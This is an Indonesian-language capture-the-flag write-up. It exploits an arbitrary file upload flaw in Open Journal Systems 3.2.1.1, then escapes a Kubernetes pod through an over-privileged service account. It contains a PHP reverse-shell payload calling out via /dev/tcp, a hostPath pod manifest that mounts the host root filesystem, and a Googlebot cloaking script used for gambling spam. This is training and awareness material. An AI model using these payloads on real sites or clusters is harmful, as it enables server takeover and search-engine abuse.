Ya sekian beberapa hari ini akhirnya ada waktu untuk membuat artikel jadi disini aku akan memberikan detail bagaimana menyelesaikan challenge yang sebelumnya aku share pada group Bhineka Tech, dengan deskripsi sebagai berikut
Pentesting & Hacking Challenge
host: http://157.230.255.81/
Description:
Rafli seorang freelance web developer mendapatkan client di salah satu universitas swasta yang dimana client tersebut meminta untuk dibuatkan website publikasi jurnal ilmiah, dengan deadline 2 minggu. Rafli pun bersedia, dan kurang dari waktu yang ditentukan, Rafli menyelesaikan websitenya dan langsung dilakukan deployment oleh pihak kampus. Selang beberapa minggu terdapat anomaly log dan ditemukan file berupa sitemap.xml, google1337.html pada document_root yang terindikasi digunakan untuk blackhat seo perjudian.
Task:
Sebagai seorang security engineer, bantu Rafli mengidentifikasi kerentanan pada aplikasi yang dibuatnya dan lakukan evaluasi sampai sejauh mana attacker mendapatkan akses pada server.
Format flag: bhitech{}
Level: Medium / up to you
Note: ada 2 flag, yaitu user dan root. root flag berada pada directory /root sedangkan user flag berada pada /var/www/html dan server direset tiap 1 jam 30 menit sekali
Clue ? Kubernetes breakout
Jadi kita diminta untuk mendapatkan flag user dan root yang berada pada directory yang sudah ditentukan diantaranya yaitu /root dan /var/www/html, nah uniknya pada deskripsi juga terdapat tambahan clue yakni Kubernetes Breakout, dan sepertinya terkait dengan misconfiguration dan escape pada pods di kubernetes jadi mari kita bedah lebih lanjut
Jika dibuka via browser, disuguhkan website yang menggunakan CMS OJS(Open Journal System)

OJS ini merupakan suatu platform / CMS untuk publikasi jurnal ilmiah dan CMS ini open source, namun pada OJS sendiri sudah lama terdapat banyak security issue yang beredar mulai dari versi 2.x.x hingga 3.x.x dan banyak dimanfaatkan oleh script kiddies maupun hacker pemula untuk melakukan akses ilegal karena kemudahan exploitnya
Contohnya seperti di github issue ini https://github.com/pkp/pkp-lib/issues/7786 lalu di cxsecurity mengenai PoC-nya https://cxsecurity.com/issue/WLB-2021100133 dan juga ada artikel yang menyebutkan jika OJS ini mengidap suatu zeroday https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/
Jika kita inspect element dan membuka tab network, akan banyak file yang diload dan terdapat indikasi versi OJS yang dipakai

Pada kasus challenge ini, terlihat OJS memakai version 3.2.1.1 yang kita bisa langsung melihat source code pada githubnya https://github.com/pkp/ojs/tree/3_2_1-1
Dan sebenarnya untuk melakukan exploitnya cukup mudah karena banyaknya PoC yang disediakan. Karena kerentanannya terkait dengan Arbitrary File Upload, hal paling tricky disini adalah mencari path webshell setelah diupload.
PoC ?
- Register pada http://157.230.255.81/index.php/bhitech/user/register
- Setelah register, kemudian pilih make a new submission
- Centang semua pada step 1
- Kemudian step 2, disini akan ada modal untuk melakukan upload file
- Upload file webshell / malicious dengan extension .phtml

Disini sebenarnya file telah berhasil di upload pada server, dan seperti yang dikatakan sebelumnya jika kita perlu mencari path aktual dari file yang diupload. jika kita mengclick file yang terupload maka nama akan berubah menjadi 1-Article Text-1-1-2-20250727.phtml dan hal ini bisa menjadi acuan petunjuk tambahan.
Sedikit info, path file pada OJS sendiri bisa di custom yakni saat instalasi, admin bisa melakukan custom folder untuk file journal seperti /files, /data, /ojs ataupun lainnya dan bahkan untuk lebih securenya, secara default path file bisa diluar dari document_root pada website, misalkan webroot berada pada /var/www/html/, file journal bisa diletakkan di /var/www/files/ dan dalam hal ini yang tidak memungkinkan dilakukan exploitation.
Setelah itu kita bisa melakukan enumeration directory, dalam hal ini aku menggunakan dirsearch

Disini ditemukannya directory /files, dan ternyata directory listingnya kebuka

Terdapat suatu file catatan.txt disini, dan jika kita buka
Di sebuah rumah di perbatasan kabupaten magetan, tinggallah seorang yang bernama Rafli. Rafli ini sehari sehari bekerja freelance sebagai web developer yang suatu ketika ada client dari universitas swasta, sebut saja universitas siber yang meminta untuk membuat platform publikasi jurnal ilmiah. Akhirnya setelah berbincang bincang via telpon mereka sepakat dengan deadline 2 minggu untuk aplikasinya ini dapat digunakan
tak berfikir lama Rafli langsung mengunduh sebuah CMS yang dinamakan OJS(open journal system). Rafli sempat mengunjungi github https://github.com/pkp/ojs dengan melihat sekilas source codenya karena sifatnya yang open source dan Rafli yakin dengan memakai OJS ini dengan memodifikasi-nya sedikit agar sesuai yang diminta client-nya
Rafli tak peduli dengan banyak security issue yang terdampak pada OJS ini, yang difikirkan Rafli yang penting sesuai dan memangkas waktu agar deadline 2 minggu ini terselesaikan dengan baik. Yang akhirnya pilihan Rafli sudah bulat dimana setelah itu dia meminta suatu VPS kepada pihak client agar aplikasinya dapat di deploy
Rafli mengerjakan project ini dengan kurang dari 2 minggu dan Rafli juga tidak sempat membaca dokumentasi best practice dari OJS terutama masalah security, Rafli juga tidak membaca issue github seseorang yang terkena hacking pada website OJS-nya https://github.com/pkp/pkp-lib/issues/7786 terlebih Rafli juga tidak riset terkait seseorang menggunakan exploit zeroday pada OJS ini https://openjournaltheme.com/urgent-critical-vulnerabilities-in-3-3-0-18-upgrade-your-ojs-now/
Yang akhirnya setelah semuanya beres, sesuai kesepakatan dengan deadline 2 minggu maka mereka sepakat mempublikasikan ke internet dan kedua belah pihak sangat senang dimana Rafli mendapatkan uang dari project ini sementara pihak kampus mempunyai platform journal-nya sendiri. Hingga selang beberapa waktu, ternyata benar saja traffic mulai melonjak yang mengakibatkan website hampir down, dengan pendekatan yang pas, akhirnya pihak kampus melalui sysadminnya mengkonfigurasi load balancing dan auto scalling pada aplikasinya menggunakan kubernetes dan dimana node worker pada OJS-nya dibuat menjadi beberapa POD seperti apache dan mysql dipisah dalam pod yang berbeda
Hari demi hari platform OJS-nya berjalan lancar sampai akhirnya mereka menyadari ada anomaly log yang berbeda dan ada yang melakukan takeover kepemilikan pada websitenya melalui google search console, sontak membuat sysadmin terkejut karena tidak ada perubahan yang signifikan pada websitenya sampai menyadari ada perubahan datetime pada index.php dan tambahan file pada directory webrootnya seperti sitemap.xml, google1337.html dan index.txt, indexx.php. dan setelah itu sysadmin mecoba membuka index.php dengan isi
```
<?php
$googleBots = [
'Googlebot',
'Googlebot-Mobile',
'Googlebot-Image',
'Mediapartners-Google',
'AdsBot-Google',
'Feedfetcher-Google'
];
$userAgent = $_SERVER['HTTP_USER_AGENT'] ?? '';
$isGoogleBot = false;
foreach ($googleBots as $bot) {
if (stripos($userAgent, $bot) !== false) {
$isGoogleBot = true;
break;
}
}
if ($isGoogleBot) {
include 'index.txt';
} else {
include 'indexx.php';
}
?>
```
Dan setelah menyadari script tersebut merupakan cloacking yang bertujuan untuk memanipulasi crawler dan googlebot dengan menampilkan konten yang berbeda dan seringkali digunakan di kalangan blackhat SEO. Dan benar saja website muncul rank 1 di mesin pencari google dengan keyword "Toto Gacor"
sysadmin menghubungi Rafli untuk memperoleh informasi dari aplikasi yang dibuatnya dan menjelaskan jika website diretas oleh hacker judol yang berafiliasi dengan para bandar di kamboja, karena ada indikasi kuat IP dari log yang di analysis tersebut berada di kota poipet.
Disini sysadmin meghubungi Rafli bukan semata mata hanya karena aplikasi OJS-nya saja, tapi karena server tersebut sudah terintegrasi dengan kubernetes dan takutnya para hacker ini melakukan escape dan breakout pada containernya sehingga dapat mengakses host utama
setelah dihubungi pihak universitas, Rafli juga terkejut dan menghubungi temannya yang bekerja sebagai red teamer dan paham terkait security, sebut saja Rimba. Disini Rimba menjelaskan kerentanan di OJS yang cukup umum dan sangat mudah dilakukan exploitation
Rimba menjelaskan dengan sangat detail dan memberi tahu Rafli jika kerentanan terletak pada file /lib/pkp/classes/file/FileManager.inc.php dengan code berikut :
```
function parseFileExtension($fileName) {
$fileParts = explode('.', $fileName);
if (is_array($fileParts) && count($fileParts) > 1) {
$fileExtension = $fileParts[count($fileParts) - 1];
}
// FIXME Check for evil
if (!isset($fileExtension) || stristr($fileExtension, 'php') || strlen($fileExtension) > 6 || !preg_match('/^\w+$/', $fileExtension)) {
$fileExtension = 'txt';
}
// consider .tar.gz extension
if (strtolower(substr($fileName, -7)) == '.tar.gz') {
$fileExtension = substr($fileName, -6);
}
return $fileExtension;
}
```
dan juga pada ./lib/pkp/classes/context/LibraryFile.inc.php
```
function getFilePath() {
$contextId = $this->getContextId();
return Config::getVar('files', 'files_dir') . '/contexts/' . $contextId . '/library/' . $this->getServerFileName();
}
function &getTypeSuffixMap() {
static $suffix = array(
LIBRARY_FILE_TYPE_MARKETING => 'MAR',
LIBRARY_FILE_TYPE_PERMISSION => 'PER',
LIBRARY_FILE_TYPE_REPORT => 'REP',
LIBRARY_FILE_TYPE_OTHER => 'OTH'
);
return $suffix;
}
$fileName = $baseName . '-' . $suffix . '.' . $ext;
```
Yang intinya ada semacam kerentanan yang dapat mengarah ke RCE dan dapat digunakan takeover suatu server, dan setelah dijelaskan baru Rafli paham kenapa bisa terjadi dan dengan bantuan Rimba, akhirnya kerentanan dapat dilakukan patching dan mitigasi serta membuat file OJS tidak dapat diakses dari document rootnya.
~xpl0dec
Didalam catatan itu terdapat mengenai perbincangan dari Rafli dan Sysadmin kampus mengenai OJS-nya diretas yang digunakan untuk promosi judi online dan juga tedapat deskripsi singkat mengenai kerentanan beserta source codenya.
Umumnya ada beberapa path static atau pola directory file OJS yang terupload yaitu untuk version 2.x.x /journals/[stageId]/articles/[submissionId]/submission/original/[namafilenya] sementara untuk version 3.x.x /journals/[stageId]/articles/[submissionId]/submission/[namafilenya]
apa itu journalid dan articleid ? jadi setelah file diupload kita bisa klik file untuk download dan akan request ke endpoint berikut
/index.php/bhitech/$$$call$$$/api/file/file-api/download-file?fileId=1&revision=1&submissionId=1&stageId=1, ada beberapa hal yang diperhatikan disini yang dimana stageId=1 merupakan path id pada stage sementara submissionId terkait path setelah artice dalam hal ini 1 dan jika kita kombinasikan menjadi path seperti ini /files/journals/1/articles/1/submission/[namafile]

Masih notfound, dan sepertinya ada yang salah jadi mari kita breakdown dan analysis dari source codenya, dan disini bisa ditemukan fungsi getClientFileName() pada file https://github.com/pkp/pkp-lib/blob/6c34557418261be3ca50b797acb144f9332ca239/classes/submission/SubmissionFile.inc.php#L297

disini sebenarnya yang diubah hanya pada bagian $genre->getLocalizedName() dan jika kita gulir kebawah juga ditemukan fungsi _generateFileName()

Kita bisa menebak jika, nama file seperti ini 1-Article Text-1-1-2-20250729.phtml maka pada bagian Artice Text akan diubah ke bentuk integer 1-[getGenreId()]-1-1-2-20250729.phtml
fungsi getGenreId() dan variable $genre memanggil class GenreDAO dari file https://github.com/pkp/pkp-lib/blob/main/classes/submission/GenreDAO.php#L4

yang dimana merupakan query database yang melakukan get data pada tables genres, dan kemudian melakukan return pada fungsi _fromRow()

_fromRow mengambil tables genre_settings pada database yang dimana isi dari genre_settings merupakan list dari topik jurnal yang akan dipublikasikan

yang dimana disini, bisa kita asumsikan jika result dari genreId() merupakan data yang diambil dari column genre_id pada tables genres dan genre_setting dan bisa disimpulkan jika list jurnal seperti Aritcle Text sampai other akan dikonversikan sesuai dari genre_id nya seperti :
- Article Text : 1
- Research Instrument : 2
- Research Materials : 3
- Research Results : 4
- Transcripts : 5
hingga seterusnya sampai bagian other di genre_id 12, yang berarti jika nama file 1-Article Text-1-1-2-20250729.phtml akan menjadi 1-1-1-1-2-20250729.phtml

Dan path valid yang menampilkan informasi php, dan lanjut kita coba untuk melakukan reverse shell
<?php
$descriptorspec = array(
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
2 => array("file", "/dev/null", "a") // stderr is a file to write to
);
$process = proc_open("/bin/bash -c 'bash -i >& /dev/tcp/[ip_vps]/[portnya] 0>&1'", $descriptorspec, $pipes);
if(is_resource($process)) {
echo "<pre>" . stream_get_contents($pipes[1]);
fclose($pipes[1]);
}
?>
Menggunakan code php dengan fungsi proc_open kita bisa menjalankan bash command yang akan melakukan reverse shell ke VPS yang kita tentukan.

Disini kita berhasil melakukan gaining access dan mendapatkan user flag
bhitech{M4S1h_ScRipT_k1ddiEs}
untuk root flagnya, gunakan otak dan kemampuan hackingmu.
sedikit clue mungkin membantu https://kubernetes.io/docs/reference/access-authn-authz/authentication/
Pada file flag juga disertakan clue yang terkait dengan kubernetes serta diberikan refrensi link dokumentasi tentang access authentication pada kubernetes itu sendiri. Jadi kita bahas sedikit tentang kubernetes agar kita lebih paham. Kubernetes disebut sebagai Container Orchestration yang berfungsi untuk melakukan deploy, scaling dan management container secara otomatis, dan biasanya kubernetes itu digunakan pada aplikasi yang berbasis microservice maupun aplikasi dengan skala yang besar.

Arsitektur kubernetes bisa dilihat pada gambar diatas yaitu terdapat beberapa component penting yang perlu kita ketahui, pertama ada cluster yang merupakan suatu wadah besar yang menampung Node, Control Plane dan utilitas lain dari kubernetes. sedangkan ada Control Plane yang digunakan untuk mengelola node melalui API server dan controller manager atau bisa dibilang Control Plane/Master Node ini server yang mengontrol semua worker node sementara Worker Node itu client-nya yang berisi pod dan container yang dilakukan otomatisasi dan dikontrol oleh master node. Mungkin teman teman bisa langsung cek dokumentasi lebih lanjut untuk lebih memahami kubernetes ini
Kembali pada topik utama, jika kita baca baca pada refrensi diatas pada bagian service account, dikatakan seperti ini

Disini menarik karena service account tokens pada kubernetes disimpan didalam secret API object yang mana user manapun dengan kemampuan write bisa melakukan request token dan user yang mempunyai izin baca bisa melakukan authentikasi menjadi service account dan disana diperingatkan juga jika harus hati hati saat memberikan permission pada service account.
Jadi jika service account itu diberikan kemampuan yang mumpuni misalkan untuk membuat pods baru dan eksekusi pods maka potensi melakukan breakout/escape pada kubernetes sangat mungkin dikarenakan kita bisa melakukan mounting directory pada host utama.
Contoh rules yaml-nya seperti berikut :
rules:
- apiGroups:
- ""
resources: ["pods", "pods/exec"]
verbs: ["get", "list", "create", "update", "delete", "exec", "watch", "patch", "edit"]
Dimana disini verbs atau izin, bisa melakukan apapun yang dimana hal ini bisa disalahgunakan dengan membuat pods baru. Jadi kita coba melakukan practicalnya, pertama kita perlu tools untuk berkomunikasi dengan API server di control plane menggunakan kubectl
https://kubernetes.io/docs/tasks/tools
cd /tmp; curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl"
Untuk melakukan identifikasi jika yang kita compromised itu merupakan pods pada kubernetes, kita bisa membaca access token pada /var/run/secrets/kubernetes.io/serviceaccount/token dan jika outputnya merupakan string acak berarti kita berada pada container yang di isolasi.

Kemudian kita cek permission dengan command kubectl auth can-i –list

Terlihat tanda * artinya disini kita bisa melakukan apapun pada pods dalam namespace yang kita gunakan saat ini, jadi disini kita mempunyai high privilege karena misconfiguration dari service account. Idenya kita akan membuat pods baru yang melakukan mounting pada host utama, jadi mari kita buat PoC yaml-nya
apiVersion: v1
kind: Pod
metadata:
name: privesc
spec:
containers:
- name: privesc
image: busybox:1.28
command: ['sh', '-c', 'echo "Privilege Escalation Payload" && tail -f /dev/null']
volumeMounts:
- name: mounting
mountPath: /tmp/main-host/
volumes:
- name: mounting
hostPath:
path: /
yaml diatas merupakan script kubernetes untuk membuat pods baru dan dalam hal ini kita menamakan pods tersebut dengan “privesc” dan juga kita akan membuild container dari image busybox karena disini aku memilih busybox karena ukurannya yang relatif kecil, kemudian setelah itu kita melakukan volumeMount yang akan melakukan mounting host utama ke directory /tmp/main-host/ didalam container.

Gambar diatas kita melakukan create pods baru melalui file yaml yang kita buat kemudian kita melihat pods ada 3 dengan salah satu namanya yaitu “privesc”, yang mengindikasikan jika kita berhasil membuat pods baru, langkah selanjutnya kita exec dan masuk pada pods privesc dan cek directory /tmp/main-host/

pada directory main-host jika kita ls maka akan menampilkan filesystem dari main host yang dimana sesuai dari petunjuk challenge jika flag berada pada directory /root/root.txt

Dan kita berhasil mendapatkan root flag bhitech{m3m4nG_b3N3R4N_h4ck3r_buk4N_ScRiPt_Kidd13S}
Penutup
Kita berhasil menyelesaikan challenge dan mendapatkan root flag, disini kita bisa mengambil kesimpulan jika sesuatu yang kelihatan sepele seperti exploit OJS dengan melakukan lateral movement yang tepat bisa compromise atau takeover system sepenuhnya dan bayangkan saja jika terjadi di real world pada machine production maka akan sangat fatal sekali. Disini Bhineka Tech juga memberikan edukasi terkait OJS ini dan sekaligus mengangkat tema peretasan yang terkait dengan judi online karena banyak sekali platform dan website indonesia ini yang masih rentan tersusupi landing page dan backlink perjudian, semoga menambah insight dan memberikan awareness kepada peggiat di bidang ini khususnya cybersecurity.
“Jangan pernah menganggap belajar sebagai tugas, tetapi anggaplah sebagai kesempatan berharga untuk mempelajari sesuatu.” – Albert Einstein
